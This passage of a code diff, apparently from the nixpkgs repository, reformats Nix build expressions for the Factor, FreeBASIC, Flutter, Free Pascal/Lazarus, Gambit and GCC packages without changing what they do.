+    (
+        cd ${vocabTree}
+        for f in "lib/factor/"* ; do
+            rm -r "$out/$f"
+            ln -s "${vocabTree}/$f" "$out/$f"
+        done
+    )
 
-      # There is no ld.so.cache in NixOS so we construct one
-      # out of known libraries. The side effect is that find-lib
-      # will work only on the known libraries. There does not seem
-      # to be a generic solution here.
-      find $(echo ${
-        lib.makeLibraryPath ([ stdenv.cc.libc ] ++ runtimeLibs)
-      } | sed -e 's#:# #g') -name \*.so.\* > $TMPDIR/so.lst
-      (echo $(cat $TMPDIR/so.lst | wc -l) "libs found in cache \`/etc/ld.so.cache'";
-        for l in $(<$TMPDIR/so.lst); do
-          echo " $(basename $l) (libc6,x86-64) => $l";
-        done)> $out/lib/factor/ld.so.cache
+    # There is no ld.so.cache in NixOS so we construct one
+    # out of known libraries. The side effect is that find-lib
+    # will work only on the known libraries. There does not seem
+    # to be a generic solution here.
+    find $(echo ${
+      lib.makeLibraryPath ([ stdenv.cc.libc ] ++ runtimeLibs)
+    } | sed -e 's#:# #g') -name \*.so.\* > $TMPDIR/so.lst
+    (echo $(cat $TMPDIR/so.lst | wc -l) "libs found in cache \`/etc/ld.so.cache'";
+      for l in $(<$TMPDIR/so.lst); do
+        echo " $(basename $l) (libc6,x86-64) => $l";
+      done)> $out/lib/factor/ld.so.cache
 
-      # Create a wrapper in bin/ and lib/factor/
-      wrapProgram "$out/lib/factor/factor" \
-        --argv0 factor \
-        --set FACTOR_LD_SO_CACHE "$out/lib/factor/ld.so.cache" \
-        "''${makeWrapperArgs[@]}"
-      mv $out/lib/factor/factor.image $out/lib/factor/.factor-wrapped.image
-      cp $out/lib/factor/factor $out/bin/
+    # Create a wrapper in bin/ and lib/factor/
+    wrapProgram "$out/lib/factor/factor" \
+      --argv0 factor \
+      --set FACTOR_LD_SO_CACHE "$out/lib/factor/ld.so.cache" \
+      "''${makeWrapperArgs[@]}"
+    mv $out/lib/factor/factor.image $out/lib/factor/.factor-wrapped.image
+    cp $out/lib/factor/factor $out/bin/
 
-      # Emacs fuel expects the image being named `factor.image` in the factor base dir
-      ln -rs $out/lib/factor/.factor-wrapped.image $out/lib/factor/factor.image
+    # Emacs fuel expects the image being named `factor.image` in the factor base dir
+    ln -rs $out/lib/factor/.factor-wrapped.image $out/lib/factor/factor.image
 
-      # Update default paths in fuel-listener.el to new output
-      sed -E -i -e 's#(\(defcustom fuel-factor-root-dir ").*(")#'"\1$out/lib/factor\2#" \
-          "$out/share/emacs/site-lisp/fuel-listener.el"
-      runHook postInstall
-    '';
+    # Update default paths in fuel-listener.el to new output
+    sed -E -i -e 's#(\(defcustom fuel-factor-root-dir ").*(")#'"\1$out/lib/factor\2#" \
+        "$out/share/emacs/site-lisp/fuel-listener.el"
+    runHook postInstall
+  '';
 
   inherit doInstallCheck;
   disabledTests = toFactorArgs [
diff --git a/pkgs/development/compilers/fbc/default.nix b/pkgs/development/compilers/fbc/default.nix
index 0b8677854a50..3b92dfa9ff5d 100644
--- a/pkgs/development/compilers/fbc/default.nix
+++ b/pkgs/development/compilers/fbc/default.nix
@@ -35,19 +35,18 @@ stdenv.mkDerivation rec {
     buildPackages.libffi
   ];
 
-  buildInputs =
-    [
-      ncurses
-      libffi
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      gpm
-      libGL
-      libX11
-      libXext
-      libXpm
-      libXrandr
-    ];
+  buildInputs = [
+    ncurses
+    libffi
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    gpm
+    libGL
+    libX11
+    libXext
+    libXpm
+    libXrandr
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/compilers/flutter/build-support/build-flutter-application.nix b/pkgs/development/compilers/flutter/build-support/build-flutter-application.nix
index e241afb20809..69c776102d7d 100644
--- a/pkgs/development/compilers/flutter/build-support/build-flutter-application.nix
+++ b/pkgs/development/compilers/flutter/build-support/build-flutter-application.nix
@@ -32,12 +32,11 @@ let
     lib.optionalString (!flutter.engine.isOptimized) "_unopt"
   }";
 
-  flutterBuildFlags =
-    [
-      "--${flutterMode}"
-    ]
-    ++ (args.flutterBuildFlags or [ ])
-    ++ flutterFlags;
+  flutterBuildFlags = [
+    "--${flutterMode}"
+  ]
+  ++ (args.flutterBuildFlags or [ ])
+  ++ flutterFlags;
 
   builderArgs =
     rec {
diff --git a/pkgs/development/compilers/flutter/engine/default.nix b/pkgs/development/compilers/flutter/engine/default.nix
index 77572096b360..6e90cc916ec7 100644
--- a/pkgs/development/compilers/flutter/engine/default.nix
+++ b/pkgs/development/compilers/flutter/engine/default.nix
@@ -58,20 +58,19 @@ stdenv.mkDerivation (
     dontUnpack = true;
     dontBuild = true;
 
-    installPhase =
+    installPhase = ''
+      mkdir -p $out/out
+    ''
+    + lib.concatMapStrings (
+      runtimeMode:
+      let
+        runtimeModeBuild = runtimeModesBuilds.${runtimeMode};
+        runtimeModeOut = runtimeModeBuild.outName;
+      in
       ''
-        mkdir -p $out/out
+        ln -sf ${runtimeModeBuild}/out/${runtimeModeOut} $out/out/${runtimeModeOut}
       ''
-      + lib.concatMapStrings (
-        runtimeMode:
-        let
-          runtimeModeBuild = runtimeModesBuilds.${runtimeMode};
-          runtimeModeOut = runtimeModeBuild.outName;
-        in
-        ''
-          ln -sf ${runtimeModeBuild}/out/${runtimeModeOut} $out/out/${runtimeModeOut}
-        ''
-      ) runtimeModes;
+    ) runtimeModes;
   }
   // runtimeModesBuilds
 )
diff --git a/pkgs/development/compilers/flutter/engine/package.nix b/pkgs/development/compilers/flutter/engine/package.nix
index f960a9d99f28..c998490525fc 100644
--- a/pkgs/development/compilers/flutter/engine/package.nix
+++ b/pkgs/development/compilers/flutter/engine/package.nix
@@ -164,33 +164,33 @@ stdenv.mkDerivation (finalAttrs: {
 
   NIX_CFLAGS_COMPILE = [
     "-I${finalAttrs.toolchain}/include"
-  ] ++ lib.optional (!isOptimized) "-U_FORTIFY_SOURCE";
+  ]
+  ++ lib.optional (!isOptimized) "-U_FORTIFY_SOURCE";
 
   nativeCheckInputs = lib.optionals stdenv.hostPlatform.isLinux [
     xorg.xorgserver
     openbox
   ];
 
-  nativeBuildInputs =
-    [
-      (python3.withPackages (
-        ps: with ps; [
-          pyyaml
-        ]
-      ))
-      (tools.vpython python3)
-      gitMinimal
-      pkg-config
-      ninja
-      dart
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [ patchelf ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      darwin.system_cmds
-      darwin.xcode
-      tools.xcode-select
-    ]
-    ++ lib.optionals (stdenv.cc.libc ? bin) [ stdenv.cc.libc.bin ];
+  nativeBuildInputs = [
+    (python3.withPackages (
+      ps: with ps; [
+        pyyaml
+      ]
+    ))
+    (tools.vpython python3)
+    gitMinimal
+    pkg-config
+    ninja
+    dart
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [ patchelf ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    darwin.system_cmds
+    darwin.xcode
+    tools.xcode-select
+  ]
+  ++ lib.optionals (stdenv.cc.libc ? bin) [ stdenv.cc.libc.bin ];
 
   buildInputs = [ gtk3 ];
 
@@ -202,7 +202,8 @@ stdenv.mkDerivation (finalAttrs: {
     dartPath
     "flutter"
     "."
-  ] ++ lib.optional (lib.versionAtLeast flutterVersion "3.21") "flutter/third_party/skia";
+  ]
+  ++ lib.optional (lib.versionAtLeast flutterVersion "3.21") "flutter/third_party/skia";
 
   postUnpack = ''
     pushd ${src.name}
@@ -256,42 +257,40 @@ stdenv.mkDerivation (finalAttrs: {
     popd
   '';
 
-  configureFlags =
-    [
-      "--no-prebuilt-dart-sdk"
-      "--embedder-for-target"
-      "--no-goma"
-    ]
-    ++ lib.optionals (stdenv.targetPlatform.isx86_64 == false) [
-      "--linux"
-      "--linux-cpu ${constants.alt-arch}"
-    ]
-    ++ lib.optional (!isOptimized) "--unoptimized"
-    ++ lib.optional (runtimeMode == "debug") "--no-stripped"
-    ++ lib.optional finalAttrs.finalPackage.doCheck "--enable-unittests"
-    ++ lib.optional (!finalAttrs.finalPackage.doCheck) "--no-enable-unittests";
+  configureFlags = [
+    "--no-prebuilt-dart-sdk"
+    "--embedder-for-target"
+    "--no-goma"
+  ]
+  ++ lib.optionals (stdenv.targetPlatform.isx86_64 == false) [
+    "--linux"
+    "--linux-cpu ${constants.alt-arch}"
+  ]
+  ++ lib.optional (!isOptimized) "--unoptimized"
+  ++ lib.optional (runtimeMode == "debug") "--no-stripped"
+  ++ lib.optional finalAttrs.finalPackage.doCheck "--enable-unittests"
+  ++ lib.optional (!finalAttrs.finalPackage.doCheck) "--no-enable-unittests";
 
   # NOTE: Once https://github.com/flutter/flutter/issues/127606 is fixed, use "--no-prebuilt-dart-sdk"
-  configurePhase =
-    ''
-      runHook preConfigure
+  configurePhase = ''
+    runHook preConfigure
 
-      export PYTHONPATH=$src/src/build
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      export PATH=${darwin.xcode}/Contents/Developer/usr/bin/:$PATH
-    ''
-    + ''
-      python3 ./src/flutter/tools/gn $configureFlags \
-        --runtime-mode $runtimeMode \
-        --out-dir $out \
-        --target-sysroot $toolchain \
-        --target-dir $outName \
-        --target-triple ${stdenv.targetPlatform.config} \
-        --enable-fontconfig
+    export PYTHONPATH=$src/src/build
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    export PATH=${darwin.xcode}/Contents/Developer/usr/bin/:$PATH
+  ''
+  + ''
+    python3 ./src/flutter/tools/gn $configureFlags \
+      --runtime-mode $runtimeMode \
+      --out-dir $out \
+      --target-sysroot $toolchain \
+      --target-dir $outName \
+      --target-triple ${stdenv.targetPlatform.config} \
+      --enable-fontconfig
 
-      runHook postConfigure
-    '';
+    runHook postConfigure
+  '';
 
   buildPhase = ''
     runHook preBuild
@@ -318,21 +317,20 @@ stdenv.mkDerivation (finalAttrs: {
     rm src/out/run_tests.log
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      rm -rf $out/out/$outName/{obj,exe.unstripped,lib.unstripped,zip_archives}
-      rm $out/out/$outName/{args.gn,build.ninja,build.ninja.d,compile_commands.json,toolchain.ninja}
-      find $out/out/$outName -name '*_unittests' -delete
-      find $out/out/$outName -name '*_benchmarks' -delete
-    ''
-    + lib.optionalString (finalAttrs.finalPackage.doCheck) ''
-      rm $out/out/$outName/{display_list_rendertests,flutter_tester}
-    ''
-    + ''
-      runHook postInstall
-    '';
+    rm -rf $out/out/$outName/{obj,exe.unstripped,lib.unstripped,zip_archives}
+    rm $out/out/$outName/{args.gn,build.ninja,build.ninja.d,compile_commands.json,toolchain.ninja}
+    find $out/out/$outName -name '*_unittests' -delete
+    find $out/out/$outName -name '*_benchmarks' -delete
+  ''
+  + lib.optionalString (finalAttrs.finalPackage.doCheck) ''
+    rm $out/out/$outName/{display_list_rendertests,flutter_tester}
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   passthru = {
     dart = callPackage ./dart.nix { engine = finalAttrs.finalPackage; };
diff --git a/pkgs/development/compilers/flutter/flutter-tools.nix b/pkgs/development/compilers/flutter/flutter-tools.nix
index be00380ad91b..299d4a93c500 100644
--- a/pkgs/development/compilers/flutter/flutter-tools.nix
+++ b/pkgs/development/compilers/flutter/flutter-tools.nix
@@ -25,15 +25,14 @@ buildDartApplication.override { inherit dart; } rec {
   inherit patches;
   # The given patches are made for the entire SDK source tree.
   prePatch = ''pushd "$NIX_BUILD_TOP/source"'';
-  postPatch =
-    ''
-      popd
-    ''
-    # Use arm64 instead of arm64e.
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace lib/src/ios/xcodeproj.dart \
-        --replace-fail arm64e arm64
-    '';
+  postPatch = ''
+    popd
+  ''
+  # Use arm64 instead of arm64e.
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace lib/src/ios/xcodeproj.dart \
+      --replace-fail arm64e arm64
+  '';
 
   # When the JIT snapshot is being built, the application needs to run.
   # It attempts to generate configuration files, and relies on a few external
diff --git a/pkgs/development/compilers/flutter/flutter.nix b/pkgs/development/compilers/flutter/flutter.nix
index a7ca6e912225..c4d118f6b924 100644
--- a/pkgs/development/compilers/flutter/flutter.nix
+++ b/pkgs/development/compilers/flutter/flutter.nix
@@ -69,7 +69,8 @@ let
       makeWrapper
       jq
       gitMinimal
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ];
     strictDeps = true;
 
     preConfigure = ''
@@ -153,7 +154,8 @@ let
     doInstallCheck = true;
     nativeInstallCheckInputs = [
       which
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ];
     installCheckPhase = ''
       runHook preInstallCheck
 
@@ -165,24 +167,23 @@ let
       runHook postInstallCheck
     '';
 
-    passthru =
-      {
-        # TODO: rely on engine.version instead of engineVersion
-        inherit
-          dart
-          engineVersion
-          artifactHashes
-          channel
-          ;
-        tools = flutterTools;
-        # The derivation containing the original Flutter SDK files.
-        # When other derivations wrap this one, any unmodified files
-        # found here should be included as-is, for tooling compatibility.
-        sdk = unwrapped;
-      }
-      // lib.optionalAttrs (engine != null) {
-        inherit engine;
-      };
+    passthru = {
+      # TODO: rely on engine.version instead of engineVersion
+      inherit
+        dart
+        engineVersion
+        artifactHashes
+        channel
+        ;
+      tools = flutterTools;
+      # The derivation containing the original Flutter SDK files.
+      # When other derivations wrap this one, any unmodified files
+      # found here should be included as-is, for tooling compatibility.
+      sdk = unwrapped;
+    }
+    // lib.optionalAttrs (engine != null) {
+      inherit engine;
+    };
 
     meta = with lib; {
       description = "Flutter is Google's SDK for building mobile, web and desktop with Dart";
diff --git a/pkgs/development/compilers/flutter/wrapper.nix b/pkgs/development/compilers/flutter/wrapper.nix
index 57f945477f41..cf5f0090d6df 100644
--- a/pkgs/development/compilers/flutter/wrapper.nix
+++ b/pkgs/development/compilers/flutter/wrapper.nix
@@ -4,17 +4,16 @@
   darwin,
   callPackage,
   flutter,
-  supportedTargetFlutterPlatforms ?
-    [
-      "universal"
-      "web"
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isLinux && !(flutter ? engine)) "linux"
-    ++ lib.optional (stdenv.hostPlatform.isx86_64 || stdenv.hostPlatform.isDarwin) "android"
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "macos"
-      "ios"
-    ],
+  supportedTargetFlutterPlatforms ? [
+    "universal"
+    "web"
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isLinux && !(flutter ? engine)) "linux"
+  ++ lib.optional (stdenv.hostPlatform.isx86_64 || stdenv.hostPlatform.isDarwin) "android"
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "macos"
+    "ios"
+  ],
   artifactHashes ? flutter.artifactHashes,
   extraPkgConfigPackages ? [ ],
   extraLibraries ? [ ],
@@ -140,13 +139,14 @@ in
     pname = "flutter-wrapped";
     inherit (flutter) version;
 
-    nativeBuildInputs =
-      [ makeWrapper ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ]
-      ++ lib.optionals supportsLinuxDesktopTarget [
-        glib
-        wrapGAppsHook3
-      ];
+    nativeBuildInputs = [
+      makeWrapper
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ]
+    ++ lib.optionals supportsLinuxDesktopTarget [
+      glib
+      wrapGAppsHook3
+    ];
 
     passthru = flutter.passthru // {
       inherit (flutter) version;
@@ -158,46 +158,45 @@ in
     dontUnpack = true;
     dontWrapGApps = true;
 
-    installPhase =
-      ''
-        runHook preInstall
+    installPhase = ''
+      runHook preInstall
 
-        for path in ${
-          builtins.concatStringsSep " " (
-            builtins.foldl' (
-              paths: pkg:
-              paths
-              ++ (map (directory: "'${pkg}/${directory}/pkgconfig'") [
-                "lib"
-                "share"
-              ])
-            ) [ ] pkgConfigPackages
-          )
-        }; do
-          addToSearchPath FLUTTER_PKG_CONFIG_PATH "$path"
-        done
+      for path in ${
+        builtins.concatStringsSep " " (
+          builtins.foldl' (
+            paths: pkg:
+            paths
+            ++ (map (directory: "'${pkg}/${directory}/pkgconfig'") [
+              "lib"
+              "share"
+            ])
+          ) [ ] pkgConfigPackages
+        )
+      }; do
+        addToSearchPath FLUTTER_PKG_CONFIG_PATH "$path"
+      done
 
-        mkdir -p $out/bin
-        makeWrapper '${immutableFlutter}' $out/bin/flutter \
-          --set-default ANDROID_EMULATOR_USE_SYSTEM_LIBS 1 \
-      ''
-      + lib.optionalString (flutter ? engine && flutter.engine.meta.available) ''
-        --set-default FLUTTER_ENGINE "${flutter.engine}" \
-        --add-flags "--local-engine-host ${flutter.engine.outName}" \
-      ''
-      + ''
-          --suffix PATH : '${lib.makeBinPath (tools ++ buildTools)}' \
-          --suffix PKG_CONFIG_PATH : "$FLUTTER_PKG_CONFIG_PATH" \
-          --suffix LIBRARY_PATH : '${lib.makeLibraryPath appStaticBuildDeps}' \
-          --prefix CXXFLAGS "''\t" '${builtins.concatStringsSep " " (includeFlags ++ extraCxxFlags)}' \
-          --prefix CFLAGS "''\t" '${builtins.concatStringsSep " " (includeFlags ++ extraCFlags)}' \
-          --prefix LDFLAGS "''\t" '${
-            builtins.concatStringsSep " " (map (flag: "-Wl,${flag}") linkerFlags)
-          }' \
-          ''${gappsWrapperArgs[@]}
+      mkdir -p $out/bin
+      makeWrapper '${immutableFlutter}' $out/bin/flutter \
+        --set-default ANDROID_EMULATOR_USE_SYSTEM_LIBS 1 \
+    ''
+    + lib.optionalString (flutter ? engine && flutter.engine.meta.available) ''
+      --set-default FLUTTER_ENGINE "${flutter.engine}" \
+      --add-flags "--local-engine-host ${flutter.engine.outName}" \
+    ''
+    + ''
+        --suffix PATH : '${lib.makeBinPath (tools ++ buildTools)}' \
+        --suffix PKG_CONFIG_PATH : "$FLUTTER_PKG_CONFIG_PATH" \
+        --suffix LIBRARY_PATH : '${lib.makeLibraryPath appStaticBuildDeps}' \
+        --prefix CXXFLAGS "''\t" '${builtins.concatStringsSep " " (includeFlags ++ extraCxxFlags)}' \
+        --prefix CFLAGS "''\t" '${builtins.concatStringsSep " " (includeFlags ++ extraCFlags)}' \
+        --prefix LDFLAGS "''\t" '${
+          builtins.concatStringsSep " " (map (flag: "-Wl,${flag}") linkerFlags)
+        }' \
+        ''${gappsWrapperArgs[@]}
 
-        runHook postInstall
-      '';
+      runHook postInstall
+    '';
 
     inherit (flutter) meta;
   }
diff --git a/pkgs/development/compilers/fpc/default.nix b/pkgs/development/compilers/fpc/default.nix
index 63a6102a0ece..c9df54eaf1f3 100644
--- a/pkgs/development/compilers/fpc/default.nix
+++ b/pkgs/development/compilers/fpc/default.nix
@@ -40,17 +40,16 @@ stdenv.mkDerivation rec {
   glibc = stdenv.cc.libc.out;
 
   # Patch paths for linux systems. Other platforms will need their own patches.
-  patches =
-    [
-      ./mark-paths.patch # mark paths for later substitution in postPatch
-    ]
-    ++ lib.optional stdenv.hostPlatform.isAarch64 (fetchpatch {
-      # backport upstream patch for aarch64 glibc 2.34
-      url = "https://gitlab.com/freepascal.org/fpc/source/-/commit/a20a7e3497bccf3415bf47ccc55f133eb9d6d6a0.patch";
-      hash = "sha256-xKTBwuOxOwX9KCazQbBNLhMXCqkuJgIFvlXewHY63GM=";
-      stripLen = 1;
-      extraPrefix = "fpcsrc/";
-    });
+  patches = [
+    ./mark-paths.patch # mark paths for later substitution in postPatch
+  ]
+  ++ lib.optional stdenv.hostPlatform.isAarch64 (fetchpatch {
+    # backport upstream patch for aarch64 glibc 2.34
+    url = "https://gitlab.com/freepascal.org/fpc/source/-/commit/a20a7e3497bccf3415bf47ccc55f133eb9d6d6a0.patch";
+    hash = "sha256-xKTBwuOxOwX9KCazQbBNLhMXCqkuJgIFvlXewHY63GM=";
+    stripLen = 1;
+    extraPrefix = "fpcsrc/";
+  });
 
   postPatch = ''
     # substitute the markers set by the mark-paths patch
diff --git a/pkgs/development/compilers/fpc/lazarus.nix b/pkgs/development/compilers/fpc/lazarus.nix
index 56f36a2b59bf..93105c02ff57 100644
--- a/pkgs/development/compilers/fpc/lazarus.nix
+++ b/pkgs/development/compilers/fpc/lazarus.nix
@@ -58,25 +58,24 @@ stdenv.mkDerivation rec {
     cp ${overrides} ide/${overrides.name}
   '';
 
-  buildInputs =
-    [
-      # we need gtk2 unconditionally as that is the default target when building applications with lazarus
-      fpc
-      gtk2
-      glib
-      libXi
-      xorgproto
-      libX11
-      libXext
-      pango
-      atk
-      stdenv.cc
-      gdk-pixbuf
-    ]
-    ++ lib.optionals withQt [
-      libqtpas
-      qtbase
-    ];
+  buildInputs = [
+    # we need gtk2 unconditionally as that is the default target when building applications with lazarus
+    fpc
+    gtk2
+    glib
+    libXi
+    xorgproto
+    libX11
+    libXext
+    pango
+    atk
+    stdenv.cc
+    gdk-pixbuf
+  ]
+  ++ lib.optionals withQt [
+    libqtpas
+    qtbase
+  ];
 
   # Disable parallel build, errors:
   #  Fatal: (1018) Compilation aborted
@@ -84,7 +83,8 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [
     makeWrapper
-  ] ++ lib.optional withQt wrapQtAppsHook;
+  ]
+  ++ lib.optional withQt wrapQtAppsHook;
 
   makeFlags = [
     "FPC=fpc"
diff --git a/pkgs/development/compilers/fpc/libqtpas.nix b/pkgs/development/compilers/fpc/libqtpas.nix
index 5cce2ae6de4f..10169f14eb9d 100644
--- a/pkgs/development/compilers/fpc/libqtpas.nix
+++ b/pkgs/development/compilers/fpc/libqtpas.nix
@@ -24,13 +24,12 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [ qmake ];
 
-  buildInputs =
-    [
-      qtbase
-    ]
-    ++ lib.optionals (qtVersion == "5") [
-      qtx11extras
-    ];
+  buildInputs = [
+    qtbase
+  ]
+  ++ lib.optionals (qtVersion == "5") [
+    qtx11extras
+  ];
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/development/compilers/gambit/build.nix b/pkgs/development/compilers/gambit/build.nix
index 2c9cdd2a66a9..3bd9307d2abc 100644
--- a/pkgs/development/compilers/gambit/build.nix
+++ b/pkgs/development/compilers/gambit/build.nix
@@ -67,43 +67,42 @@ gccStdenv.mkDerivation rec {
   # Or wrap relevant programs to add a suitable PATH ?
   #runtimeDeps = [ gnused gnugrep ];
 
-  configureFlags =
-    [
-      "--enable-targets=${gambit-params.targets}"
-      "--enable-single-host"
-      "--enable-c-opt=${optimizationSetting}"
-      "--enable-c-opt-rts=-O2"
-      "--enable-gcc-opts"
-      "--enable-trust-c-tco"
-      "--enable-shared"
-      "--enable-absolute-shared-libs" # Yes, NixOS will want an absolute path, and fix it.
-      "--enable-openssl"
-      "--enable-dynamic-clib"
-      #"--enable-default-compile-options='(compactness 9)'" # Make life easier on the JS backend
-      "--enable-default-runtime-options=${gambit-params.defaultRuntimeOptions}"
-      # "--enable-rtlib-debug" # used by Geiser, but only on recent-enough gambit, and messes js runtime
-      # "--enable-debug" # Nope: enables plenty of good stuff, but also the costly console.log
-      # "--enable-multiple-versions" # Nope, NixOS already does version multiplexing
-      # "--enable-guide"
-      # "--enable-track-scheme"
-      # "--enable-high-res-timing"
-      # "--enable-max-processors=4"
-      # "--enable-multiple-vms"
-      # "--enable-dynamic-tls"
-      # "--enable-multiple-threaded-vms"  # when SMP branch is merged in
-      # "--enable-thread-system=posix"    # default when --enable-multiple-vms is on.
-      # "--enable-profile"
-      # "--enable-coverage"
-      # "--enable-inline-jumps"
-      # "--enable-char-size=1" # default is 4
-      # "--enable-march=native" # Nope, makes it not work on machines older than the builder
-    ]
-    ++ gambit-params.extraOptions
-    # TODO: pick an appropriate architecture to optimize on on x86-64?
-    # https://gcc.gnu.org/onlinedocs/gcc-4.8.4/gcc/i386-and-x86-64-Options.html#i386-and-x86-64-Options
-    # ++ lib.optional pkgs.stdenv.hostPlatform.isx86_64 "--enable-march=core-avx2"
-    # Do not enable poll on darwin due to https://github.com/gambit/gambit/issues/498
-    ++ lib.optional (!gccStdenv.hostPlatform.isDarwin) "--enable-poll";
+  configureFlags = [
+    "--enable-targets=${gambit-params.targets}"
+    "--enable-single-host"
+    "--enable-c-opt=${optimizationSetting}"
+    "--enable-c-opt-rts=-O2"
+    "--enable-gcc-opts"
+    "--enable-trust-c-tco"
+    "--enable-shared"
+    "--enable-absolute-shared-libs" # Yes, NixOS will want an absolute path, and fix it.
+    "--enable-openssl"
+    "--enable-dynamic-clib"
+    #"--enable-default-compile-options='(compactness 9)'" # Make life easier on the JS backend
+    "--enable-default-runtime-options=${gambit-params.defaultRuntimeOptions}"
+    # "--enable-rtlib-debug" # used by Geiser, but only on recent-enough gambit, and messes js runtime
+    # "--enable-debug" # Nope: enables plenty of good stuff, but also the costly console.log
+    # "--enable-multiple-versions" # Nope, NixOS already does version multiplexing
+    # "--enable-guide"
+    # "--enable-track-scheme"
+    # "--enable-high-res-timing"
+    # "--enable-max-processors=4"
+    # "--enable-multiple-vms"
+    # "--enable-dynamic-tls"
+    # "--enable-multiple-threaded-vms"  # when SMP branch is merged in
+    # "--enable-thread-system=posix"    # default when --enable-multiple-vms is on.
+    # "--enable-profile"
+    # "--enable-coverage"
+    # "--enable-inline-jumps"
+    # "--enable-char-size=1" # default is 4
+    # "--enable-march=native" # Nope, makes it not work on machines older than the builder
+  ]
+  ++ gambit-params.extraOptions
+  # TODO: pick an appropriate architecture to optimize on on x86-64?
+  # https://gcc.gnu.org/onlinedocs/gcc-4.8.4/gcc/i386-and-x86-64-Options.html#i386-and-x86-64-Options
+  # ++ lib.optional pkgs.stdenv.hostPlatform.isx86_64 "--enable-march=core-avx2"
+  # Do not enable poll on darwin due to https://github.com/gambit/gambit/issues/498
+  ++ lib.optional (!gccStdenv.hostPlatform.isDarwin) "--enable-poll";
 
   configurePhase = ''
     export CC=${gccStdenv.cc}/bin/${gccStdenv.cc.targetPrefix}gcc \
diff --git a/pkgs/development/compilers/gcc/common/builder.nix b/pkgs/development/compilers/gcc/common/builder.nix
index 31ee6215eb85..7080666572d6 100644
--- a/pkgs/development/compilers/gcc/common/builder.nix
+++ b/pkgs/development/compilers/gcc/common/builder.nix
@@ -175,36 +175,34 @@ originalAttrs:
       eval "$oldOpts"
     '';
 
-    preConfigure =
-      (originalAttrs.preConfigure or "")
-      + ''
-        if test -n "$newlibSrc"; then
-            tar xvf "$newlibSrc" -C ..
-            ln -s ../newlib-*/newlib newlib
-            # Patch to get armvt5el working:
-            sed -i -e 's/ arm)/ arm*)/' newlib/configure.host
-        fi
+    preConfigure = (originalAttrs.preConfigure or "") + ''
+      if test -n "$newlibSrc"; then
+          tar xvf "$newlibSrc" -C ..
+          ln -s ../newlib-*/newlib newlib
+          # Patch to get armvt5el working:
+          sed -i -e 's/ arm)/ arm*)/' newlib/configure.host
+      fi
 
-        # Bug - they packaged zlib
-        if test -d "zlib"; then
-            # This breaks the build without-headers, which should build only
-            # the target libgcc as target libraries.
-            # See 'configure:5370'
-            rm -Rf zlib
-        fi
+      # Bug - they packaged zlib
+      if test -d "zlib"; then
+          # This breaks the build without-headers, which should build only
+          # the target libgcc as target libraries.
+          # See 'configure:5370'
+          rm -Rf zlib
+      fi
 
-        if test -n "$crossMingw" -a -n "$withoutTargetLibc"; then
-            mkdir -p ../mingw
-            # --with-build-sysroot expects that:
-            cp -R $libcCross/include ../mingw
-            appendToVar configureFlags "--with-build-sysroot=`pwd`/.."
-        fi
+      if test -n "$crossMingw" -a -n "$withoutTargetLibc"; then
+          mkdir -p ../mingw
+          # --with-build-sysroot expects that:
+          cp -R $libcCross/include ../mingw
+          appendToVar configureFlags "--with-build-sysroot=`pwd`/.."
+      fi
 
-        # Perform the build in a different directory.
-        mkdir ../build
-        cd ../build
-        configureScript=../$sourceRoot/configure
-      '';
+      # Perform the build in a different directory.
+      mkdir ../build
+      cd ../build
+      configureScript=../$sourceRoot/configure
+    '';
 
     postConfigure = ''
       # Avoid store paths when embedding ./configure flags into gcc.
@@ -266,100 +264,99 @@ originalAttrs:
           makeCompatibilitySymlink lib $targetConfig/lib64
         '';
 
-    postInstall =
-      ''
-        # Clean up our compatibility symlinks (see above)
-        for link in "''${compatibilitySymlinks[@]}"; do
-          echo "Removing compatibility symlink: $link"
-          rm -f "$link"
-        done
+    postInstall = ''
+      # Clean up our compatibility symlinks (see above)
+      for link in "''${compatibilitySymlinks[@]}"; do
+        echo "Removing compatibility symlink: $link"
+        rm -f "$link"
+      done
 
-        # Move target runtime libraries to lib output.
-        # For non-cross, they're in $out/lib; for cross, they're in $out/$targetConfig/lib.
-        targetLibDir="''${targetConfig+$targetConfig/}lib"
+      # Move target runtime libraries to lib output.
+      # For non-cross, they're in $out/lib; for cross, they're in $out/$targetConfig/lib.
+      targetLibDir="''${targetConfig+$targetConfig/}lib"
 
-        moveToOutput "$targetLibDir/lib*.so*" "''${!outputLib}"
-        moveToOutput "$targetLibDir/lib*.dylib" "''${!outputLib}"
-        moveToOutput "$targetLibDir/lib*.dll.a" "''${!outputLib}"
-        moveToOutput "$targetLibDir/lib*.dll" "''${!outputLib}"
-        moveToOutput "share/gcc-*/python" "''${!outputLib}"
+      moveToOutput "$targetLibDir/lib*.so*" "''${!outputLib}"
+      moveToOutput "$targetLibDir/lib*.dylib" "''${!outputLib}"
+      moveToOutput "$targetLibDir/lib*.dll.a" "''${!outputLib}"
+      moveToOutput "$targetLibDir/lib*.dll" "''${!outputLib}"
